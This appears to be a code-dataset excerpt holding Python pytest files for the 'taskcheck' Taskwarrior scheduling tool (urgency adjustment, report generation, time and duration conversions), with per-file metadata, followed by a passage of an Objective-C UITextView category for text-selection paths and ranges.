"P3H": 10.0}, False, 4.0, 365, 12, 2 ) mock_calendars.return_value = [] check_tasks_parallel(sample_config, verbose=True, taskrc=test_taskrc) mock_tasks.assert_called_once_with(taskrc=test_taskrc) mock_coeffs.assert_called_once_with(taskrc=test_taskrc) mock_calendars.assert_called_once() mock_update.assert_called_once() class TestAutoAdjustUrgency: @patch("taskcheck.parallel.get_calendars") @patch("taskcheck.parallel.get_tasks") @patch("taskcheck.parallel.get_urgency_coefficients") @patch("taskcheck.parallel.update_tasks_with_scheduling_info") def test_auto_adjust_urgency_enabled( self, mock_update, mock_coeffs, mock_tasks, mock_calendars, sample_config, test_taskrc, ): """Test that auto-adjust reduces urgency weight when tasks are overdue.""" # Create tasks with tight deadlines that will cause conflicts overdue_tasks = [ { "id": 1, "uuid": "task-1", "description": "Urgent task", "estimated": "P8H", "time_map": "work", "urgency": 20.0, "due": "20231206T170000Z", # Very soon "status": "pending", }, { "id": 2, "uuid": "task-2", "description": "Also urgent task", "estimated": "P8H", "time_map": "work", "urgency": 15.0, "due": "20231206T170000Z", # Same deadline "status": "pending", }, ] mock_tasks.return_value = overdue_tasks mock_coeffs.return_value = UrgencyCoefficients( {"P8H": 10.0}, False, 4.0, 365, 12, 2 ) mock_calendars.return_value = [] # This should trigger auto-adjustment check_tasks_parallel( sample_config, verbose=True, taskrc=test_taskrc, auto_adjust_urgency=True ) mock_tasks.assert_called_once_with(taskrc=test_taskrc) @patch("taskcheck.parallel.get_calendars") @patch("taskcheck.parallel.get_tasks") @patch("taskcheck.parallel.get_urgency_coefficients") @patch("taskcheck.parallel.update_tasks_with_scheduling_info") def test_auto_adjust_urgency_disabled( self, mock_update, mock_coeffs, mock_tasks, mock_calendars, sample_config, sample_tasks, test_taskrc, ): """Test that auto-adjust is ignored when disabled.""" mock_tasks.return_value = sample_tasks mock_coeffs.return_value = UrgencyCoefficients( {"P1H": 5.0, "P2H": 8.0, "P3H": 10.0}, False, 4.0, 365, 12, 2 ) mock_calendars.return_value = [] # This should not trigger auto-adjustment check_tasks_parallel( sample_config, verbose=True, taskrc=test_taskrc, auto_adjust_urgency=False ) mock_tasks.assert_called_once_with(taskrc=test_taskrc) @patch("taskcheck.parallel.get_calendars") @patch("taskcheck.parallel.get_tasks") @patch("taskcheck.parallel.get_urgency_coefficients") @patch("taskcheck.parallel.get_long_range_time_map") @patch("taskcheck.parallel.update_tasks_with_scheduling_info") def test_auto_adjust_urgency_weight_reduction( self, mock_update, mock_long_range, mock_coeffs, mock_tasks, mock_calendars, sample_config, test_taskrc, ): """Test that auto_adjust_urgency reduces the urgency weight and stops at 0.0.""" # Use relative dates based on current date from datetime import datetime, timedelta now = datetime.now() tomorrow = now + timedelta(hours=2) # Create tasks that cannot be completed on time due to insufficient available time overdue_tasks = [ { "id": 1, "uuid": "task-1", "description": "Impossible task", "estimated": "P24H", # 24 hours "time_map": "work", "urgency": 20.0, "due": tomorrow.strftime( "%Y%m%dT%H%M%SZ" ), # Due tomorrow to trigger overdue detection "status": "pending", "entry": now.strftime("%Y%m%dT%H%M%SZ"), # Created today } ] mock_tasks.return_value = overdue_tasks mock_coeffs.return_value = UrgencyCoefficients( {"P24H": 10.0}, False, 4.0, 365, 12, 2 ) mock_calendars.return_value = [] # Mock no available time at all to make it truly impossible mock_long_range.return_value = ([0.0] * 365, 0.0) # Patch the console.print to capture output with patch("taskcheck.parallel.console.print") as mock_console_print: check_tasks_parallel( sample_config, verbose=True, taskrc=test_taskrc, auto_adjust_urgency=True, ) # Should print a warning about not finding a solution # Print all captured calls for debugging if the assertion fails found_warning = any( "cannot find a solution" in " ".join(str(arg).lower() for arg in call.args) for call in mock_console_print.call_args_list ) if not found_warning: print("Captured console.print calls for debug:") for call in mock_console_print.call_args_list: print(str(call)) assert found_warning @patch("taskcheck.parallel.get_calendars") @patch("taskcheck.parallel.get_tasks") @patch("taskcheck.parallel.get_urgency_coefficients") @patch("taskcheck.parallel.get_long_range_time_map") @patch("taskcheck.parallel.update_tasks_with_scheduling_info") def test_auto_adjust_urgency_final_weight_message( self, mock_update, mock_long_range, mock_coeffs, mock_tasks, mock_calendars, sample_config, test_taskrc, ): """Test that the final urgency weight message is printed when auto-adjust is used.""" # Use relative dates based on current date from datetime import datetime, timedelta now = datetime.now() future_date_near = now + timedelta(days=3) future_date_far = now + timedelta(days=7) # Create tasks that will require at least one reduction in urgency weight overdue_tasks = [ { "id": 1, "uuid": "task-1", "description": "Tight deadline", "estimated": "P16H", # 2 working days, due in 7 days "time_map": "work", "urgency": 20.0, "due": future_date_far.strftime( "%Y%m%dT%H%M%SZ" ), # Due in 7 days - tight deadline "status": "pending", "entry": now.strftime("%Y%m%dT%H%M%SZ"), # Created today }, { "id": 2, "uuid": "task-2", "description": "Competing task", "estimated": "P16H", # 2 working days, due in 3 days "time_map": "work", "urgency": 15.0, "due": future_date_near.strftime( "%Y%m%dT%H%M%SZ" ), # Same deadline to create conflict "status": "pending", "entry": now.strftime("%Y%m%dT%H%M%SZ"), # Created today }, ] mock_tasks.return_value = overdue_tasks mock_coeffs.return_value = UrgencyCoefficients( {"P16H": 10.0, "P8H": 8.0}, False, 4.0, 365, 12, 2 ) mock_calendars.return_value = [] # Mock enough available time that the task CAN be completed with weight reduction mock_long_range.return_value = ([4.0] * 7, 0.0) # 28 total hours available with patch("taskcheck.parallel.console.print") as mock_console_print: check_tasks_parallel( sample_config, verbose=True, taskrc=test_taskrc, auto_adjust_urgency=True, ) # Should print the final urgency weight used # Print all captured calls for debugging if the assertion fails found_final_weight = any( "final urgency weight" in " ".join(str(arg).lower() for arg in call.args) for call in mock_console_print.call_args_list ) if not found_final_weight: print("Captured console.print calls for debug:") for call in mock_console_print.call_args_list: print(str(call)) assert found_final_weight
19,119
test_parallel
py
en
python
code
{"qsc_code_num_words": 2131, "qsc_code_num_chars": 19119.0, "qsc_code_mean_word_length": 4.87658376, "qsc_code_frac_words_unique": 0.12717034, "qsc_code_frac_chars_top_2grams": 0.05561971, "qsc_code_frac_chars_top_3grams": 0.06986143, "qsc_code_frac_chars_top_4grams": 0.05773672, "qsc_code_frac_chars_dupe_5grams": 0.632602, "qsc_code_frac_chars_dupe_6grams": 0.60787144, "qsc_code_frac_chars_dupe_7grams": 0.58775982, "qsc_code_frac_chars_dupe_8grams": 0.56033487, "qsc_code_frac_chars_dupe_9grams": 0.52213241, "qsc_code_frac_chars_dupe_10grams": 0.49971132, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0400839, "qsc_code_frac_chars_whitespace": 0.32669073, "qsc_code_size_file_byte": 19119.0, "qsc_code_num_lines": 536.0, "qsc_code_num_chars_line_max": 109.0, "qsc_code_num_chars_line_mean": 35.66977612, "qsc_code_frac_chars_alphabet": 0.76718714, "qsc_code_frac_chars_comments": 0.11967153, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.59353349, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.17810019, "qsc_code_frac_chars_long_word_length": 0.07612395, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.06466513, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.0369515, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.01154734, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.0669746, "qsc_codepython_frac_lines_print": 0.02309469}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00sapo/taskcheck
tests/test_report.py
import pytest from datetime import datetime, timedelta from unittest.mock import patch, Mock import json from taskcheck.report import ( get_tasks, get_taskwarrior_date, get_days_in_constraint, generate_report, get_task_emoji, tostring, get_unplanned_tasks ) class TestDateUtilities: @patch('subprocess.run') def test_get_taskwarrior_date_valid(self, mock_run, test_taskrc): mock_result = Mock() mock_result.stdout = "2023-12-05T14:30:00\n" mock_run.return_value = mock_result result = get_taskwarrior_date("today", taskrc=test_taskrc) assert result == datetime(2023, 12, 5, 14, 30, 0) mock_run.assert_called_once() # Verify environment was passed call_args = mock_run.call_args assert 'env' in call_args.kwargs assert call_args.kwargs['env']['TASKRC'] == test_taskrc @patch('subprocess.run') def test_get_taskwarrior_date_relative(self, mock_run, test_taskrc): # First call fails, second call with "today+" prefix succeeds mock_result_fail = Mock() mock_result_fail.stdout = "invalid\n" mock_result_success = Mock() mock_result_success.stdout = "2023-12-06T14:30:00\n" mock_run.side_effect = [mock_result_fail, mock_result_success] result = get_taskwarrior_date("1day", taskrc=test_taskrc) assert result == datetime(2023, 12, 6, 14, 30, 0) assert mock_run.call_count == 2 def test_get_days_in_constraint(self, test_taskrc): with patch('taskcheck.report.get_taskwarrior_date') as mock_date: with patch('taskcheck.report.datetime') as mock_datetime: # Mock the constraint date (end of week) mock_date.return_value = datetime(2023, 12, 7, 0, 0, 0) # Mock datetime.today() to return an earlier date mock_datetime.today.return_value = datetime(2023, 12, 5, 0, 0, 0) mock_datetime.side_effect = lambda *args, **kw: datetime(*args, **kw) days = list(get_days_in_constraint("eow", taskrc=test_taskrc)) # Should return days from Dec 5 to Dec 7 (3 days) assert len(days) == 3 assert all(len(day) == 3 for day in days) # (year, month, day) mock_date.assert_called_once_with("eow", taskrc=test_taskrc) class TestTaskFiltering: def test_get_tasks_with_scheduling(self, sample_config): tasks_with_scheduling = [ { "id": 1, "project": "test", "description": "Test task", "scheduling": "2023-12-05 - PT2H\n2023-12-06 - PT1H", "urgency": 10.0 }, { "id": 2, "project": "other", "description": "Another task", "scheduling": "2023-12-05 - PT30M", "urgency": 5.0 } ] result = get_tasks(sample_config["report"], tasks_with_scheduling, 2023, 12, 5) assert len(result) == 2 assert result[0]["urgency"] >= result[1]["urgency"] # Sorted by urgency @patch('subprocess.run') def test_get_unplanned_tasks(self, mock_run, sample_config, test_taskrc): unplanned_tasks = [ { "id": 3, "description": "Unplanned task", "urgency": 8.0, "due": "20231210T170000Z" } ] mock_result = Mock() mock_result.stdout = json.dumps(unplanned_tasks) mock_run.return_value = mock_result result = get_unplanned_tasks(sample_config["report"], [], taskrc=test_taskrc) assert result == unplanned_tasks # Verify environment was passed call_args = mock_run.call_args assert 'env' in call_args.kwargs assert call_args.kwargs['env']['TASKRC'] == test_taskrc class TestStringFormatting: def test_tostring_boolean(self): assert tostring(True) == "Yes" assert tostring(False) == "No" def test_tostring_datetime(self): dt = datetime(2023, 12, 5, 14, 30, 0) assert tostring(dt) == "2023-12-05 14:30" def test_tostring_taskwarrior_date(self): tw_date = "20231205T143000Z" result = tostring(tw_date) assert "2023-12-05 14:30" == result def test_tostring_regular_string(self): assert tostring("hello") == "hello" def test_tostring_number(self): assert tostring(42) == "42" assert tostring(3.14) == "3.14" class TestEmojiGeneration: def test_get_task_emoji_keyword_match(self, sample_config): task = {"description": "Schedule a meeting with the team"} emoji = get_task_emoji(sample_config["report"], task) assert emoji == ":busts_in_silhouette:" def test_get_task_emoji_default_keyword(self, sample_config): task = {"description": "Write some code for the project"} emoji = get_task_emoji(sample_config["report"], task) assert emoji == ":computer:" def test_get_task_emoji_random(self, sample_config): task = {"description": "Some random task without keywords"} emoji = get_task_emoji(sample_config["report"], task) # Should return some emoji (deterministic based on description) assert len(emoji) >= 1 # Same description should give same emoji emoji2 = get_task_emoji(sample_config["report"], task) assert emoji == emoji2 class TestReportGeneration: @patch('taskcheck.report.fetch_tasks') @patch('taskcheck.report.get_days_in_constraint') @patch('taskcheck.report.get_unplanned_tasks') def test_generate_report_basic(self, mock_unplanned, mock_days, mock_fetch, sample_config, test_taskrc): mock_fetch.return_value = [ { "id": 1, "description": "Test task", "scheduling": "2023-12-05 - PT2H", "urgency": 10.0, "project": "test" } ] mock_days.return_value = [(2023, 12, 5)] mock_unplanned.return_value = [] # Should run without error generate_report(sample_config, "today", verbose=True, taskrc=test_taskrc) mock_fetch.assert_called_once_with(test_taskrc) mock_days.assert_called_once_with("today", taskrc=test_taskrc) @patch('taskcheck.report.fetch_tasks') @patch('taskcheck.report.get_days_in_constraint') @patch('taskcheck.report.get_unplanned_tasks') def test_generate_report_with_unplanned(self, mock_unplanned, mock_days, mock_fetch, sample_config, test_taskrc): mock_fetch.return_value = [] mock_days.return_value = [(2023, 12, 5)] mock_unplanned.return_value = [ { "id": 2, "description": "Unplanned task", "urgency": 5.0, "project": "urgent" } ] # Should run without error generate_report(sample_config, "today", verbose=True, taskrc=test_taskrc) mock_unplanned.assert_called_once_with(sample_config["report"], [], taskrc=test_taskrc)
7,478
test_report
py
en
python
code
{"qsc_code_num_words": 854, "qsc_code_num_chars": 7478.0, "qsc_code_mean_word_length": 4.95316159, "qsc_code_frac_words_unique": 0.19086651, "qsc_code_frac_chars_top_2grams": 0.04255319, "qsc_code_frac_chars_top_3grams": 0.04160757, "qsc_code_frac_chars_top_4grams": 0.02245863, "qsc_code_frac_chars_dupe_5grams": 0.45791962, "qsc_code_frac_chars_dupe_6grams": 0.37588652, "qsc_code_frac_chars_dupe_7grams": 0.33900709, "qsc_code_frac_chars_dupe_8grams": 0.33286052, "qsc_code_frac_chars_dupe_9grams": 0.2465721, "qsc_code_frac_chars_dupe_10grams": 0.23593381, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.044819, "qsc_code_frac_chars_whitespace": 0.30181867, "qsc_code_size_file_byte": 7478.0, "qsc_code_num_lines": 203.0, "qsc_code_num_chars_line_max": 118.0, "qsc_code_num_chars_line_mean": 36.83743842, "qsc_code_frac_chars_alphabet": 0.76537062, "qsc_code_frac_chars_comments": 0.05924044, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22666667, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.14596981, "qsc_code_frac_chars_long_word_length": 0.04713757, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.18666667, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.1, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.03333333, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.16666667, "qsc_codepython_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00sapo/taskcheck
tests/test_common.py
import pytest from datetime import datetime, timedelta, time from unittest.mock import patch, Mock import json from taskcheck.common import ( hours_to_decimal, hours_to_time, time_to_decimal, get_available_hours, pdth_to_hours, hours_to_pdth, get_long_range_time_map, get_tasks, get_calendars, get_task_env ) class TestTimeConversions: def test_hours_to_decimal(self): assert hours_to_decimal(9.0) == 9.0 assert abs(hours_to_decimal(9.30) - 9.5) < 1e-10 # 9:30 -> 9.5 hours assert abs(hours_to_decimal(9.15) - 9.25) < 1e-10 # 9:15 -> 9.25 hours def test_hours_to_time(self): assert hours_to_time(9.0) == time(9, 0) assert hours_to_time(9.30) == time(9, 30) # 9.30 means 9:30 assert hours_to_time(14.15) == time(14, 15) # 14.15 means 14:15 def test_time_to_decimal(self): assert time_to_decimal(time(9, 0)) == 9.0 assert time_to_decimal(time(9, 30)) == 9.5 assert time_to_decimal(time(14, 15)) == 14.25 class TestDurationConversions: def test_pdth_to_hours(self): assert pdth_to_hours("P1H") == 1.0 assert pdth_to_hours("P2H30M") == 2.5 assert pdth_to_hours("P1DT2H") == 26.0 assert pdth_to_hours("PT30M") == 0.5 assert pdth_to_hours("P1D") == 24.0 def test_hours_to_pdth(self): assert hours_to_pdth(1.0) == "PT1H" assert hours_to_pdth(2.5) == "PT2H30M" assert hours_to_pdth(26.0) == "P1DT2H" assert hours_to_pdth(0.5) == "PT30M" assert hours_to_pdth(24.0) == "P1DT" class TestAvailableHours: def test_get_available_hours_no_events(self, sample_config): date = datetime(2023, 12, 5).date() # Tuesday time_map = sample_config["time_maps"]["work"] calendars = [] available = get_available_hours(time_map, date, calendars) assert available == 8.0 # 9-17 = 8 hours def test_get_available_hours_with_blocking_event(self, sample_config): date = datetime(2023, 12, 5).date() # Tuesday time_map = sample_config["time_maps"]["work"] # Event from 14:00 to 15:00 calendars = [[{ "start": datetime(2023, 12, 5, 14, 0), "end": datetime(2023, 12, 5, 15, 0) }]] available = get_available_hours(time_map, date, calendars, verbose=True) assert available == 7.0 # 8 hours - 1 hour blocked def test_get_available_hours_weekend(self, sample_config): date = datetime(2023, 12, 3).date() # Sunday time_map = sample_config["time_maps"]["work"] calendars = [] available = get_available_hours(time_map, date, calendars) assert available == 0.0 class TestLongRangeTimeMap: def test_get_long_range_time_map(self, sample_config, sample_calendar_events): time_maps = sample_config["time_maps"] time_map_names = ["work"] days_ahead = 3 calendars = [sample_calendar_events] task_time_map, today_used_hours = get_long_range_time_map( time_maps, time_map_names, days_ahead, calendars ) assert len(task_time_map) == days_ahead assert all(isinstance(hours, (int, float)) for hours in task_time_map) assert isinstance(today_used_hours, (int, float)) class TestGetTasks: def test_get_tasks(self, mock_task_export_with_taskrc, sample_tasks, test_taskrc): tasks = get_tasks(taskrc=test_taskrc) # Should only return tasks with estimated field estimated_tasks = [t for t in tasks if "estimated" in t] assert len(estimated_tasks) == len(sample_tasks) # Should be sorted by urgency (descending) urgencies = [t["urgency"] for t in tasks] assert urgencies == sorted(urgencies, reverse=True) class TestGetCalendars: @patch('taskcheck.common.ical_to_dict') def test_get_calendars(self, mock_ical, sample_config, sample_calendar_events): mock_ical.return_value = sample_calendar_events calendars = get_calendars(sample_config) assert len(calendars) == 1 assert calendars[0] == sample_calendar_events mock_ical.assert_called_once() class TestEnvironmentVariables: def test_get_task_env_sets_both_variables(self, test_taskrc): """Test that get_task_env sets both TASKDATA and TASKRC.""" env = get_task_env(taskrc=test_taskrc) assert env['TASKDATA'] == test_taskrc assert env['TASKRC'] == test_taskrc def test_get_task_env_without_taskrc(self): """Test that get_task_env returns unchanged environment when taskrc=None.""" import os original_env = os.environ.copy() env = get_task_env(taskrc=None) # Should not add TASKDATA or TASKRC if not specified assert env == original_env
4,979
test_common
py
en
python
code
{"qsc_code_num_words": 678, "qsc_code_num_chars": 4979.0, "qsc_code_mean_word_length": 4.43067847, "qsc_code_frac_words_unique": 0.20648968, "qsc_code_frac_chars_top_2grams": 0.03961385, "qsc_code_frac_chars_top_3grams": 0.03894807, "qsc_code_frac_chars_top_4grams": 0.02829561, "qsc_code_frac_chars_dupe_5grams": 0.34354194, "qsc_code_frac_chars_dupe_6grams": 0.16677763, "qsc_code_frac_chars_dupe_7grams": 0.13482024, "qsc_code_frac_chars_dupe_8grams": 0.123502, "qsc_code_frac_chars_dupe_9grams": 0.10818908, "qsc_code_frac_chars_dupe_10grams": 0.10818908, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.05062263, "qsc_code_frac_chars_whitespace": 0.25808395, "qsc_code_size_file_byte": 4979.0, "qsc_code_num_lines": 140.0, "qsc_code_num_chars_line_max": 87.0, "qsc_code_num_chars_line_mean": 35.56428571, "qsc_code_frac_chars_alphabet": 0.76258798, "qsc_code_frac_chars_comments": 0.08495682, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.08910891, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.03706155, "qsc_code_frac_chars_long_word_length": 0.00639753, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.32673267, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.12871287, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.05940594, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.25742574, "qsc_codepython_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00StevenG/UITextViewExtras
UITextView+Extras.m
// // UITextView+Extras.m // RichText // // Created by Steven Grace on 2/7/13. // Copyright (c) 2013 Steven Grace. All rights reserved. // #import "UITextView+Extras.h" #pragma mark - path creation (Internal) @implementation UITextView (Extras) #pragma mark - Class Methods // // returns the 'blue' selection colors used by UIKIT for selection // +(UIColor*)defaultSelectionColor{ return [UIColor colorWithRed:0.788 green:0.867 blue:0.937 alpha:.75]; } #pragma mark - Path Creation (Internal) // // Assembles a beizier path by adding each CGRect in selectionRects // -(UIBezierPath*)_bezierPathWithTextSelectionRects:(NSArray*)selectionRects{ if([selectionRects count]==0) return nil; CGMutablePathRef mPath = CGPathCreateMutable(); for(UITextSelectionRect* selectionRect in selectionRects){ CGRect aRect = selectionRect.rect; CGPathAddRect(mPath,NULL,aRect); } CGPathCloseSubpath(mPath); UIBezierPath* bPath = [UIBezierPath bezierPathWithCGPath:mPath]; CGPathRelease(mPath); return bPath; } #pragma mark - Selection Paths // // find the closest text position-> enclosing range and then calculate the enclosing path // -(UIBezierPath*)selectionPathWithGranularity:(UITextGranularity)granularity atPoint:(CGPoint)pt{ UITextPosition* pos = [self closestPositionToPoint:pt]; id<UITextInputTokenizer> tokenizer =self.tokenizer; UITextRange* textRange = [tokenizer rangeEnclosingPosition:pos withGranularity:granularity inDirection:UITextWritingDirectionLeftToRight]; NSArray* rects = [self selectionRectsForRange:textRange]; return [self _bezierPathWithTextSelectionRects:rects]; } // // find the position given an index from the beginngin of the doc and then calculate enclosing range // -(UIBezierPath*)selectionPathWithGranularity:(UITextGranularity)granularity atIndex:(NSUInteger)idx{ UITextPosition* pos = [self positionFromPosition:self.beginningOfDocument offset:idx]; // the passed index is <0 or greater than the length if(!pos) return nil; id<UITextInputTokenizer> tokenizer =self.tokenizer; UITextRange* textRange = [tokenizer rangeEnclosingPosition:pos withGranularity:granularity inDirection:UITextWritingDirectionLeftToRight]; NSArray* rects = [self selectionRectsForRange:textRange]; return [self _bezierPathWithTextSelectionRects:rects]; } #pragma mark - Path for Range // // Grab the selection rects and assemble a paht // -(UIBezierPath*)pathForRange:(NSRange)range{ NSArray* rects = [self textSelectionRectsForRange:range]; return [self _bezierPathWithTextSelectionRects:rects]; } // // Calculate the path and its bounding rect // -(CGRect)boundingRectForRange:(NSRange)range{ UIBezierPath* bPath = [self pathForRange:range]; return CGPathGetBoundingBox(bPath.CGPath); } #pragma mark - Caret Rects // // Find position from the beginning of Doc calculate the caret rect // -(CGRect)caretRectForStringIndex:(NSUInteger)idx{ UITextPosition* startPos = [self positionFromPosition:self.beginningOfDocument inDirection:UITextStorageDirectionForward offset:idx]; // the passed index is <0 or greater than the length if(!startPos) return CGRectNull; return [self caretRectForPosition:startPos]; } // // Find the position at point and returns its care rect // -(CGRect)caretRectClosestToPoint:(CGPoint)pt{ UITextPosition* pos = [self closestPositionToPoint:pt]; return [self caretRectForPosition:pos]; } #pragma mark - Substrings // // Find the position at the point and the range for that position it's substring range // -(NSString*)substringWithGranularity:(UITextGranularity)granularity atPoint:(CGPoint)pt{ UITextPosition* pos = [self closestPositionToPoint:pt]; id<UITextInputTokenizer> tokenizer =self.tokenizer; // may return nil if the given granularity is not found at this position UITextRange* textRange = [tokenizer rangeEnclosingPosition:pos withGranularity:granularity inDirection:UITextWritingDirectionLeftToRight]; if(textRange) return [self textInRange:textRange]; return nil; } // // Find position and it's offset from the beginning of the document // -(NSUInteger)closestCharacterIndexToPoint:(CGPoint)pt{ UITextPosition* pos = [self closestPositionToPoint:pt]; NSUInteger idx = [self offsetFromPosition:self.beginningOfDocument toPosition:pos]; return idx; } #pragma mark - Hit Testing // // Iterate through the selection rect for the passed range and text against rect containment // -(BOOL)pointInside:(CGPoint)point inRange:(NSRange)range{ NSArray* rects = [self textSelectionRectsForRange:range]; for(UITextSelectionRect* selectionRect in rects){ if(CGRectContainsPoint(selectionRect.rect,point)==YES) return YES; } return NO; } #pragma mark - NSRange and UITextRange Conversion // // convert range to positions -> text Range // -(UITextRange*)textRangeForRange:(NSRange)range{ // TODO: test add checks for valid range within in document UITextPosition* startPos = [self positionFromPosition:self.beginningOfDocument inDirection:UITextStorageDirectionForward offset:range.location]; UITextPosition* endPos = [self positionFromPosition:self.beginningOfDocument inDirection:UITextStorageDirectionForward offset:(range.location+range.length)]; UITextRange* textRange = [self textRangeFromPosition:startPos toPosition:endPos]; return textRange; } // // Calculate the location and length -> create NSRange // -(NSRange)rangeForTextRange:(UITextRange*)textRange{ NSUInteger location =[self offsetFromPosition:self.beginningOfDocument toPosition:textRange.start]; 